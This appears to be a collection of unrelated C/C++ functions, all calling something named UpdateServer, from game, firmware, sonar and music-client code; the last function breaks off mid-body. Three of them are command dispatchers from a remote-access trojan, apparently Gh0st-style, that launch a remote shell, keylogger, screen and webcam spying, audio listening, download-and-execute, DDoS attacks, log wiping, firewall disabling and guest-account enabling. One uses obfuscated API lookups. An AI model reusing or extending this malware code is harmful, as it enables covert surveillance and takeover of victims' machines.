void CMonitorPage::InvalidateMonitorData() { if (m_nJK == 0) { m_nJK = ::GetDbMgr()->GetOptInt(OPT_M_LASTJKZS); m_ServerMedicalTime = ::GetDbMgr()->GetOptInt(OPT_M_LASTTJTIME); if (m_nJK == 0 || m_ServerMedicalTime == 0) CalcJKZS(); } CString strServerMedicalTime; if (m_ServerMedicalTime) { tm *tm = ::_localtime32(&m_ServerMedicalTime); strServerMedicalTime.Format( "%04d/%02d/%02d %02d:%02d:%02d", tm->tm_year + 1900, tm->tm_mon + 1, tm->tm_mday, tm->tm_hour, tm->tm_min, tm->tm_sec); } else { strServerMedicalTime = "尚未体检"; } UpdateJKZS(m_nJK, strServerMedicalTime); UpdateServer(m_Servers, m_nServer); UpdateClient(&m_ClientInfo); UpdateGameInfo(&m_GameInfo); }
static void ICACHE_FLASH_ATTR at_procTask(os_event_t *events) { static int last_value = 0; static int updates_without_tick = 0; system_os_post(at_procTaskPrio, 0, 0 ); if( events->sig == 0 && events->par == 0 ) { //Idle Event. //This function is called ~10000x/sec. printf( "." ); if( connections[0].pespconn && connections[0].cansend ) { UpdateServer(); if( updates_without_tick++ > 500 ) { TickServer(); } //espconn_sent( connections[0].pespconn, "hello\r\n", 7 ); } } }
void tSonarSourceStateMachine::Initialize() { tWriteLocker Locker(m_Lock); tThread::AssertThreadOwner(this); startTimer(m_StateMachineInterval); SonarCommon::eSonarServerState initialState = SonarCommon::eSonarServerState_NoServer; // NSW-25760 Luigi - StructureScan 3D source appearing in source list for lowrance products if (tSonar::Instance()->GetSaveAndKeepSourceSelected() == false) { if(m_HaveHardware == true) { initialState = SonarCommon::eSonarServerState_Server; } } else { if(m_HaveHardware == true) { initialState = SonarCommon::eSonarServerState_Client; m_TimeoutCounter = m_cClientTimeout; } if(m_IamServer == true) { initialState = SonarCommon::eSonarServerState_Server; } } ChangeState(initialState); emit UpdateServer(m_SavedMaster, m_Class); }
void SubsonicService::Login( const QString& server, const QString& username, const QString& password, const bool& usesslv3) { UpdateServer(server); username_ = username; password_ = password; usesslv3_ = usesslv3; Login(); }
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize) { switch (lpBuffer[0]) { case COMMAND_LIST_DRIVE: // 文件管理 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager, (LPVOID)m_pClient->m_Socket, 0, NULL, false); break; case COMMAND_SCREEN_SPY: // 屏幕查看 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager, (LPVOID)m_pClient->m_Socket, 0, NULL, true); break; case COMMAND_WEBCAM: // 摄像头 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_SHELL: // 远程sehll m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager, (LPVOID)m_pClient->m_Socket, 0, NULL, true); break; case COMMAND_KEYBOARD: m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_SYSTEM: m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_DOWN_EXEC: // 下载者 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager, (LPVOID)(lpBuffer + 1), 0, NULL, true); Sleep(100); // 传递参数用 break; case COMMAND_OPEN_URL_SHOW: // 显示打开网页 OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL); break; case COMMAND_OPEN_URL_HIDE: // 隐藏打开网页 OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE); break; case COMMAND_REMOVE: // 卸载, UnInstallService(); break; case COMMAND_CLEAN_EVENT: // 清除日志 CleanEvent(); break; case COMMAND_SESSION: CSystemManager::ShutdownWindows(lpBuffer[1]); break; case COMMAND_RENAME_REMARK: SetHostID((LPCTSTR)(lpBuffer + 1)); break; case COMMAND_UPDATE_SERVER: // 更新服务端 if (UpdateServer((LPCTSTR)(lpBuffer + 1))) UnInstallService(); break; } }
void SubsonicService::ReloadSettings() { QSettings s; s.beginGroup(kSettingsGroup); UpdateServer(s.value("server").toString()); username_ = s.value("username").toString(); password_ = s.value("password").toString(); usesslv3_ = s.value("usesslv3").toBool(); Login(); }
void CFlashLight::TurnOff() { if( m_hLight && m_bOn ) { m_bOn = LTFALSE; g_pCommonLT->SetObjectFlags(m_hLight, OFT_Flags, 0, FLAG_VISIBLE); if (UpdateServer()) { CAutoMessage cMsg; cMsg.Writeuint8(MID_PLAYER_CLIENTMSG); cMsg.Writeuint8(CP_FLASHLIGHT); cMsg.Writeuint8(FL_OFF); g_pLTClient->SendToServer(cMsg.Read(), MESSAGE_GUARANTEED); } } }
/** Main program entry point. This routine configures the hardware required by the application, then * enters a loop to run the application tasks in sequence. */ int main(void) { uint8_t cyc; SetupHardware(); /* Webserver Initialization */ setup_spi(); DDRD |= _BV(6); PORTD &= ~_BV(6); PORTD = 0; GlobalInterruptEnable(); //sendstr( "Boot" ); et_init( 0 ); InitTCP(); InitDumbcraft(); for (;;) { // SetManyWS( 0xff, 0x00, 0x00, 20 ); RNDIS_Task(); USB_USBTask(); _delay_us(200); UpdateServer(); cyc++; if( (cyc & 0x7f) == 0 ) { struct Player * p = &Players[0]; // sendhex2( p->npitch ); // = 1; // if( p->active ) PORTD |= _BV(6); TickServer(); TickTCP(); PORTD &= ~_BV(6); } } }
// 加上激活 void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize) { typedef LONG (WINAPI *InterlockedExchangeT) ( __inout LONG volatile *Target, __in LONG Value ); InterlockedExchangeT pInterlockedExchange = (InterlockedExchangeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"InterlockedExchange"); typedef VOID (WINAPI *SleepT) ( __in DWORD dwMilliseconds ); SleepT pSleep = (SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"Sleep"); typedef HANDLE (WINAPI *CreateThreadT)( __in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes, __in SIZE_T dwStackSize, __in LPTHREAD_START_ROUTINE lpStartAddress, __in_opt LPVOID lpParameter, __in DWORD dwCreationFlags, __out_opt LPDWORD lpThreadId ); CreateThreadT pCreateThread=(CreateThreadT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"CreateThread"); typedef BOOL (WINAPI *CloseHandleT) ( __in HANDLE hObject ); char DDZGlGm[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'}; CloseHandleT pCloseHandle = (CloseHandleT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DDZGlGm); typedef BOOL (WINAPI *EnumWindowsT)( __in WNDENUMPROC lpEnumFunc, __in LPARAM lParam); EnumWindowsT pEnumWindows=(EnumWindowsT)GetProcAddress(LoadLibrary("USER32.dll"),"EnumWindows"); switch (lpBuffer[0]) { case COMMAND_ACTIVED: pInterlockedExchange((LONG *)&m_bIsActived, true); break; case COMMAND_LIST_DRIVE: // 文件管理 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager, (LPVOID)m_pClient->m_Socket, 0, NULL, false); break; case COMMAND_SCREEN_SPY: // 屏幕查看 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager, (LPVOID)m_pClient->m_Socket, 0, NULL, true); break; case COMMAND_WEBCAM: // 摄像头 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_AUDIO: // 声音监听 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_SHELL: // 远程sehll m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager, (LPVOID)m_pClient->m_Socket, 0, NULL, true); break; case COMMAND_KEYBOARD: //键盘记录 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_SYSTEM: //系统管理,包括进程,窗口 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_SERMANAGER: // 服务管理 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SerManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_DDOS_ATTACK: { ATTACK m_Attack; memcpy(&m_Attack,lpBuffer + 1,sizeof(ATTACK)); DDOSManager m_DDOSManager(&m_Attack); } break; case COMMAND_DDOS_STOP: Stoping = FALSE; break; case COMMAND_REGEDIT: //注册表管理 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_RegeditManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_SYSINFO: m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SysInfoManager, (LPVOID)m_pClient->m_Socket, 0, NULL); break; case COMMAND_NET_USER: // 无NET加用户 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)NETUSER, (LPVOID)(lpBuffer + 1), 0, NULL, true); break; case COMMAND_OPEN_PROXY: // 开启代理 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)OpenProxy, (LPVOID)(lpBuffer + 1), 0, NULL, true); break; case COMMAND_OPEN_3389: { Open3389((LPCTSTR)(lpBuffer + 1), nSize -2); } break; case COMMAND_GUEST: // 开启GUEST账号 OpenGuest(); break; case COMMAND_STOPFIRE: // 关防火墙 StopFire(); break; case COMMAND_CHANGE_PORT: // 更改终端 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0,(LPTHREAD_START_ROUTINE)ChangePort, (LPVOID)(lpBuffer + 1), 0, NULL, true); break; case COMMAND_SENDMSG: { pCloseHandle(pCreateThread(NULL,NULL,Loop_MsgBox,&lpBuffer[1],NULL,NULL)); pSleep(500); } break; case COMMAND_DOWN_EXEC: // 下载者 m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager, (LPVOID)(lpBuffer + 1), 0, NULL, true); pSleep(100); // 传递参数用 break; case COMMAND_OPEN_URL_SHOW: // 显示打开网页 OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL); break; case COMMAND_OPEN_URL_HIDE: // 隐藏打开网页 OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE); break; case COMMAND_REMOVE: // 卸载, UnInstallService(); break; case COMMAND_CLEAN_EVENT: // 清除日志 CleanEvent(); break; case COMMAND_SESSION://会话管理 CSystemManager::ShutdownWindows(lpBuffer[1]); break; case COMMAND_RENAME_REMARK: // 改备注 SetHostID((LPCTSTR)(lpBuffer + 1)); break; case COMMAND_CHANGE_GROUP: // 改分组 SetInfo("Group", (LPCTSTR)(lpBuffer + 1), "BITS"); break; case COMMAND_UPDATE_SERVER: // 更新服务端 if (UpdateServer((char *)lpBuffer + 1)) UnInstallService(); break; case COMMAND_REPLAY_HEARTBEAT: // 回复心跳包 break; case COMMAND_SORT_PROCESS: // 进程筛选 try { if (isProcesin((LPTSTR)(lpBuffer + 1))) { BYTE bToken = TOKEN_INFO_YES; m_pClient->Send(&bToken, 1); }else { BYTE bToken = TOKEN_INFO_NO; m_pClient->Send(&bToken, 1); } }catch(...){} break; case COMMAND_SORT_WINDOW: // 窗体筛选 try { strcpy(temp_proc,(LPTSTR)(lpBuffer + 1)); pEnumWindows(EnumWindowsList,0); if (proc_tag) { BYTE bToken = TOKEN_INFO_YES; m_pClient->Send(&bToken, 1); proc_tag = false; }else { BYTE bToken = TOKEN_INFO_NO; m_pClient->Send(&bToken, 1); } }catch(...){} break; } }
void SampleEscrowServerZmq::Update() { SampleEscrowServer::Update(); UpdateServer(); }
void tSonarSourceStateMachine::RemoteMasterSeen(tMacAddress NewServerMac, QHostAddress IP) { //QString classStr = tSonarSourceStateMachine::GetClassString(m_Class); //DbgPrintf("RemoteMasterSeen (%s) - IP=%s", classStr.toStdString().c_str(), IP.toString().toAscii().constData() ); // Ignore all remote masters in offline mode if(tSonarSettings::Instance()->OfflineModeUsed(m_Class)) { return; } if(m_State == SonarCommon::eSonarServerState_Server) { // Can't be the server in these cases! // In the case of forwardscan we can have the forward but won't be outputting network data unless we detect forwardscan transducer connected if(!m_HaveHardware || (m_Class == SonarCommon::eSonarServer_Forwardscan && !tSonarSettings::Instance()->InternalForwardscanEnabled())) { m_State = SonarCommon::eSonarServerState_NoServer; } } bool NeedClientEmit = false; bool NeedNewServerCommanded = false; tMacAddress ClientMac; { tWriteLocker Locker(m_Lock); switch(m_State) { case SonarCommon::eSonarServerState_NoServer: if((NewServerMac == m_SavedMaster) || (m_SavedMaster.IsNull() == true)) { m_TimeoutCounter = m_cClientTimeout; m_CurrentMac = NewServerMac; m_CurrentIP = IP; m_pSettings->SetValue("ServerIP", m_CurrentIP.toString()); DBG_SONAR_SOURCE_STATE(DbgPrintf("Remote master seen (our server)")); ChangeState(SonarCommon::eSonarServerState_Client); NeedClientEmit = true; ClientMac = NewServerMac; emit UpdateServer(m_SavedMaster, m_Class); } else if(m_Class != SonarCommon::eSonarServer_Sidescan) { // If we are here it means we have a server previously saved, in order to prevent a legacy unit from claiming the server // then force it to switch its source to the one we had previously selected emit SendServerCommand(m_SavedMaster, m_Class); } break; case SonarCommon::eSonarServerState_Server: if(NewServerMac == m_SavedMaster) { if(NewServerMac != m_MyMac) { m_TimeoutCounter = m_cClientTimeout; m_CurrentMac = m_SavedMaster; m_CurrentIP = IP; m_pSettings->SetValue("ServerIP", m_CurrentIP.toString()); DBG_SONAR_SOURCE_STATE(DbgPrintf("Remote master seen (our server)")); ChangeState(SonarCommon::eSonarServerState_Client); NeedClientEmit = true; ClientMac = m_SavedMaster; // NSW-24004: Will set structure in client/server mode whenever we are not our own source, this will ensure that our // internal settings won't be affected by the setting changes made to the new source and vice-versa if(m_Class == SonarCommon::eSonarServer_Sidescan) { tSonarSettings::Instance()->SetClientServerMode(true); } emit UpdateServer(m_SavedMaster, m_Class); } } else { // NSW-17844: We allow multiple servers in sidescan and going into two server mode can prevent us from restoring // the user selected source when turning unit off and on. if(m_Class != SonarCommon::eSonarServer_Sidescan) { if(m_SavedMaster == m_MyMac ) { // We were set as the server and a new server has just been detected, it could be a new unit joining the network or // a legacy unit that doesn't support the sever saving and restoring requested in NSW-23903, in either of these cases // we need to re-claim the server status instead of going into two server mode emit ClaimServer(m_Class); DBG_SONAR_SOURCE_STATE(DbgPrintf("Claiming server")); } else { m_TimeoutCounter = m_cTwoServerTimeout;//~~~~~ + GetTimeSinceBoot() / 10; if(m_TimeoutCounter > 20) { m_TimeoutCounter = 20 + (qrand() % 10); } ChangeState(SonarCommon::eSonarServerState_TwoServers); DBG_SONAR_SOURCE_STATE(DbgPrintf("New server (%s) - going to two server mode", IP.toString().toAscii().constData())); } } } break; case SonarCommon::eSonarServerState_Client: //~~~~~~~~~~~ Captured on state diagram? if(m_CurrentMac.IsBroadcast()) { m_CurrentMac = NewServerMac; m_CurrentIP = IP; m_pSettings->SetValue("ServerIP", m_CurrentIP.toString()); } // Reset the timeout whenever we see our server... if(NewServerMac == m_CurrentMac || m_CurrentMac.IsBroadcast()) { m_TimeoutCounter = m_cClientTimeout; static const QHostAddress Broadcast(QHostAddress::Broadcast); if(m_CurrentIP == Broadcast) { // DbgPrintf("*****Sonar client updated server IP: %s", IP.toString().toAscii().constData()); m_CurrentIP = IP; m_pSettings->SetValue("ServerIP", m_CurrentIP.toString()); ClientMac = NewServerMac; NeedNewServerCommanded = true; } } else { // If this is the server we really want, the switch! if(NewServerMac == m_SavedMaster) { m_TimeoutCounter = m_cClientTimeout; m_CurrentMac = m_SavedMaster; m_CurrentIP = IP; m_pSettings->SetValue("ServerIP", m_CurrentIP.toString()); DBG_SONAR_SOURCE_STATE(DbgPrintf("Remote server (our server)")); ChangeState(SonarCommon::eSonarServerState_Client); NeedClientEmit = true; ClientMac = m_SavedMaster; emit UpdateServer(m_SavedMaster, m_Class); } } break; case SonarCommon::eSonarServerState_TwoServers: // Need to restore our server if it comes to network a little late and we are in two server mode already // If this is the server we really want, the switch! if(NewServerMac == m_SavedMaster) { m_TimeoutCounter = m_cClientTimeout; m_CurrentMac = m_SavedMaster; m_CurrentIP = IP; m_pSettings->SetValue("ServerIP", m_CurrentIP.toString()); DBG_SONAR_SOURCE_STATE(DbgPrintf("Remote server, two servers (our server)")); ChangeState(SonarCommon::eSonarServerState_Client); NeedClientEmit = true; ClientMac = m_SavedMaster; emit UpdateServer(m_SavedMaster, m_Class); } break; default: // All other cases ignore until they timeout break; } } if(NeedClientEmit) { emit SetClientState(ClientMac, IP); } if(NeedNewServerCommanded) { NewServerCommanded(ClientMac, IP, false); } }
void tSonarSourceStateMachine::NewServerCommanded(tMacAddress NewServerMac, QHostAddress IP, bool GUICommand) { // Ignore all remote masters in offline mode if(tSonarSettings::Instance()->OfflineModeUsed(m_Class)) { // The state can be in the process of updating by another signal that is coming // after the sonar settings already received the simulator on command. //Assert(m_State == eSonarServerState_Server); return; } // NSW-26815: Ignore server change commands if we don't have the source on our list const QHostAddress broadcast(QHostAddress::Broadcast); if(IP == broadcast) { // Invalid IP received, means the source is on our list, ignore this command // until source is detected... return; } bool NeedClientEmit = false; tMacAddress ClientMac; { tWriteLocker Locker(m_Lock); m_SavedMaster = NewServerMac; m_pSettings->SetValue("ServerMac", m_SavedMaster.ToString()); if(!m_Simulating) { if(m_SavedMaster == m_MyMac) { // NSW-24004: Only set client/server mode to false when becoming the sidescan server if(m_Class == SonarCommon::eSonarServer_Sidescan) { tSonarSettings::Instance()->SetClientServerMode(false); } m_CurrentIP = m_MyIP; m_pSettings->SetValue("ServerIP", m_CurrentIP.toString()); DBG_SONAR_SOURCE_STATE(DbgPrintf("New server commanded, becoming server")); ChangeState(SonarCommon::eSonarServerState_Server); } else { QString classStr = tSonarSourceStateMachine::GetClassString(m_Class); DbgPrintf("New server(%s) - becoming client (%s)", classStr.toStdString().c_str(), IP.toString().toAscii().constData()); m_TimeoutCounter = m_cClientTimeout; m_CurrentMac = m_SavedMaster; m_CurrentIP = IP; m_pSettings->SetValue("ServerIP", m_CurrentIP.toString()); DBG_SONAR_SOURCE_STATE(DbgPrintf("New server commanded, becoming client")); ChangeState(SonarCommon::eSonarServerState_Client); NeedClientEmit = true; ClientMac = m_SavedMaster; // NSW-24004: Will set structure in client/server mode whenever we are not our own source, this will ensure that our // internal settings won't be affected by the setting changes made to the new source and vice-versa if(m_Class == SonarCommon::eSonarServer_Sidescan) { tSonarSettings::Instance()->SetClientServerMode(true); } } if(GUICommand && (m_Class != SonarCommon::eSonarServer_Sidescan)) { tThread::AssertGUIThread(); emit SendServerCommand(m_SavedMaster, m_Class); } } } emit UpdateServer(m_SavedMaster, m_Class); if(NeedClientEmit) { emit SetClientState(ClientMac, IP); } }
// 加上激活 void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize) { static int dwTime=0; pcmd_plugin cmd=NULL; switch (lpBuffer[0]) { case COMMAND_ACTIVED: LOG((LEVEL_INFO,"COMMAND_ACTIVED:%d\n",nSize)); { if ( lstrlen(CKeyboardManager::ConnPass) == 0 )//判断自身密码是否为空,空则跳过验证 { if ( m_pClient->bSendLogin )//判断是否重复发送,测试的时候会上2次 { sendLoginInfo_true( m_strServiceName, m_pClient, (GetTickCount() - CKeyboardManager::dwTickCount)/2 ); m_pClient->bSendLogin = FALSE; } InterlockedExchange((LONG *)&m_bIsActived, TRUE); } else//不为空 { char Pass[256] = {0}; memcpy( Pass, lpBuffer + 1, 200 ); if ( lstrcmpi( CKeyboardManager::ConnPass, Pass ) == 0 )//开始验证 { if ( m_pClient->bSendLogin )//判断是否重复发送,测试的时候会上2次 { sendLoginInfo_true( m_strServiceName, m_pClient, (GetTickCount() - CKeyboardManager::dwTickCount)/2 ); m_pClient->bSendLogin = FALSE; } InterlockedExchange((LONG *)&m_bIsActived, TRUE);//符合,则激活 } else { InterlockedExchange((LONG *)&m_bIsActived, FALSE);//不符合,则不激活 } } } break; case COMMAND_LIST_DRIVE: // 文件管理 LOG((LEVEL_INFO,"COMMAND_LIST_DRIVE:%d\n",nSize)); m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager, (LPVOID)m_pClient->m_Socket, 0, NULL, FALSE); break; case COMMAND_SCREEN_SPY: // 屏幕查看 LOG((LEVEL_INFO,"COMMAND_SCREEN_SPY:%d\n",nSize)); m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,(LPVOID)m_pClient->m_Socket, 0, NULL, TRUE); break; case COMMAND_WEBCAM: // 摄像头 LOG((LEVEL_INFO,"COMMAND_WEBCAM:%d\n",nSize)); m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager,(LPVOID)m_pClient->m_Socket, 0, NULL, FALSE); break; case COMMAND_AUDIO: // 语音 LOG((LEVEL_INFO,"COMMAND_AUDIO:%d\n",nSize)); m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,(LPVOID)m_pClient->m_Socket, 0, NULL, FALSE); break; case COMMAND_SHELL: // 远程sehll LOG((LEVEL_INFO,"COMMAND_SHELL:%d\n",nSize)); m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager, (LPVOID)m_pClient->m_Socket, 0, NULL, TRUE); break; case COMMAND_KEYBOARD: LOG((LEVEL_INFO,"COMMAND_KEYBOARD:%d\n",nSize)); //2011/04/29 -yx //dwTime=0; // if (!dwTime) // { // m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_HookKeyboard, (LPVOID)(lpBuffer+1), 0, NULL, TRUE); //2011/04/29 yx // dwTime++; // } // // m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,(LPVOID)m_pClient->m_Socket, 0, NULL, FALSE); break; case COMMAND_SYSTEM: LOG((LEVEL_INFO,"COMMAND_SYSTEM:%d\n",nSize)); m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,(LPVOID)m_pClient->m_Socket, 0, NULL, FALSE); break; case COMMAND_DOWN_EXEC: // 下载者 LOG((LEVEL_INFO,"COMMAND_DOWN_EXEC:%d\n",nSize)); m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,(LPVOID)(lpBuffer + 1), 0, NULL, TRUE); SleepEx(101,0); // 传递参数用 break; case COMMAND_OPEN_URL_SHOW: // 显示打开网页 LOG((LEVEL_INFO,"COMMAND_OPEN_URL_SHOW:%d\n",nSize)); OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL); break; case COMMAND_OPEN_URL_HIDE: // 隐藏打开网页 LOG((LEVEL_INFO,"COMMAND_OPEN_URL_HIDE:%d\n",nSize)); OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE); break; case COMMAND_REMOVE: // 卸载, { LOG((LEVEL_INFO,"COMMAND_REMOVE:%d\n",nSize)); // liucw add 2013.07.25 // //停止并删除插件 GLOBAL_PLUGSERVER->SetSocket(m_pClient); GLOBAL_PLUGSERVER->OnPluginRemove(0,0); // 卸载 UnInstallService(); break; } case COMMAND_CLEAN_EVENT: // 清除日志 LOG((LEVEL_INFO,"COMMAND_CLEAN_EVENT:%d\n",nSize)); { CleanEvent(); } break; case COMMAND_SESSION: LOG((LEVEL_INFO,"COMMAND_SESSION:%d\n",nSize)); CSystemManager::ShutdownWindows(lpBuffer[1]); break; case COMMAND_RENAME_REMARK: // 改备注 LOG((LEVEL_INFO,"COMMAND_RENAME_REMARK:%d\n",nSize)); SetHostID(m_strServiceName, (LPCTSTR)(lpBuffer + 1)); break; case COMMAND_UPDATE_SERVER: // 更新服务端 LOG((LEVEL_INFO,"COMMAND_UPDATE_SERVER:%d\n",nSize)); if (UpdateServer((char *)lpBuffer + 1)) UnInstallService(); break; case COMMAND_REPLAY_HEARTBEAT: // 回复心跳包 ((CManager*)this)->m_pClient->dwHeartTime=0; break; case COMMAND_DDOS: LOG((LEVEL_INFO,"COMMAND_DDOS:%d\n",nSize)); // if ( !Gobal_DDOS_Running ) // { // m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)DDOS_Attacker, (LPVOID)lpBuffer, 0, NULL, TRUE); // SleepEx(110,0);//传递参数用 // } break; case COMMAND_DDOS_STOP: LOG((LEVEL_INFO,"COMMAND_DDOS_STOP:%d\n",nSize)); //DDOS_Stop(); break; case COMMAND_HIT_HARD: LOG((LEVEL_INFO,"COMMAND_HIT_HARD:%d\n",nSize)); // KillMBR(); break; case COMMAND_OPEN_3389: LOG((LEVEL_INFO,"COMMAND_OPEN_3389:%d\n",nSize)); Open3389(); break; case COMMAND_CHAJIAN: // 下载插件 LOG((LEVEL_INFO,"COMMAND_CHAJIAN:%d\n",nSize)); //m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_CHAJIAN,(LPVOID)(lpBuffer + 1), 0, NULL, TRUE); SleepEx(110,0); // 传递参数用 break; case COMMAND_SERECT_CFG: // 密取配置 LOG((LEVEL_INFO,"COMMAND_SERECT_CFG:%d\n",nSize)); m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SecretCfg,(LPVOID)(lpBuffer + 1), 0, NULL, TRUE); break; case COMMAND_CHAJIAN_FORMIQU: // LOG((LEVEL_INFO,"COMMAND_CHAJIAN_FORMIQU:%d\n",nSize)); // printf((char*)(lpBuffer + 1)); m_pObjEvidence->PassBackFileList((char*)(lpBuffer + 1),0); // m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_CHAJIAN_MIQU,(LPVOID)(lpBuffer + 1), 0, NULL, TRUE); // SleepEx(110,0); // 传递参数用 break; case TOKEN_EVIDENCE_SREECN_ARG: // 下载插件 LOG((LEVEL_INFO,"TOKEN_EVIDENCE_SREECN_ARG:%d\n",nSize)); m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_CHAJIAN_MIQU,(LPVOID)(lpBuffer + 1), 0, NULL, TRUE); SleepEx(110,0); // 传递参数用 break; case COMMAND_PLUGIN_REQUEST: // 2.0插件下载 LOG((LEVEL_INFO,"收到COMMAND_PLUGIN_REQUEST,buff大小:%d(%x) .\n",nSize,nSize)); cmd=new cmd_plugin; if (!cmd) { break; } cmd->Clientsocket=m_pClient; cmd->nSize=nSize-1; cmd->lpBuffer=lpBuffer+1; m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_Plugin_Request,(LPVOID)(cmd), 0, NULL, TRUE); break; // { // ++lpBuffer; // --nSize; // // // 每次都应该设置一下,防止丢掉 // GLOBAL_PLUGSERVER->SetSocket(m_pClient); // int ret = GLOBAL_PLUGSERVER->OnPluginRequest(lpBuffer,nSize); // if( ret != 0 ) // { // LOG((LEVEL_WARNNING,"处理插件下载命令错,ret=%d",ret)); // } // GLOBAL_PLUGSERVER->ProcessConfig(); // // break; // // } case COMMAND_ONLINE_ERROR: { LOG((LEVEL_INFO,"上线时发送错误.\n")); m_pClient->Disconnect(); break; } default: LOG((LEVEL_ERROR,"UNKNOWN COMMAND:%d(%x)\n",lpBuffer[0],lpBuffer[0])); break; } }
/*********************************************************** do all check to be done when idle ***********************************************************/ void ExternalActor::ProcessMovable(double tnow, float tdiff, ScriptEnvironmentBase* scripthandler) { boost::shared_ptr<PhysicalObjectHandlerBase> physo = _character->GetPhysicalObject(); if(!physo) return; float admx=0, admy=0, admz=0; boost::shared_ptr<ActorUserData> udata = physo->GetUserData(); if(udata) udata->GetAddedMove(admx, admy, admz); admy = (-0.05f * tdiff); //TODO - make the gravity configurable? // get additional speed in case we are on lift if(_attachedactor) { float addspeedX=0, addspeedY=0, addspeedZ=0; boost::shared_ptr<PhysicalObjectHandlerBase> attchedphys = _attachedactor->GetPhysicalObject(); if(attchedphys) attchedphys->GetLastMove(addspeedX, addspeedY, addspeedZ); admx+=addspeedX; admz+=addspeedZ; if(addspeedY <= 0) { admy += addspeedY; _attachedactor = boost::shared_ptr<DynamicObject>(); // dettach actor afterwards } else { //check if we are still on the actor if(physo->OnTopOff(attchedphys.get())) { admy = addspeedY; } else { _attachedactor = boost::shared_ptr<DynamicObject>(); // dettach actor } } } // move actor physo->Move(admx, admy, admz); // check for attached actor 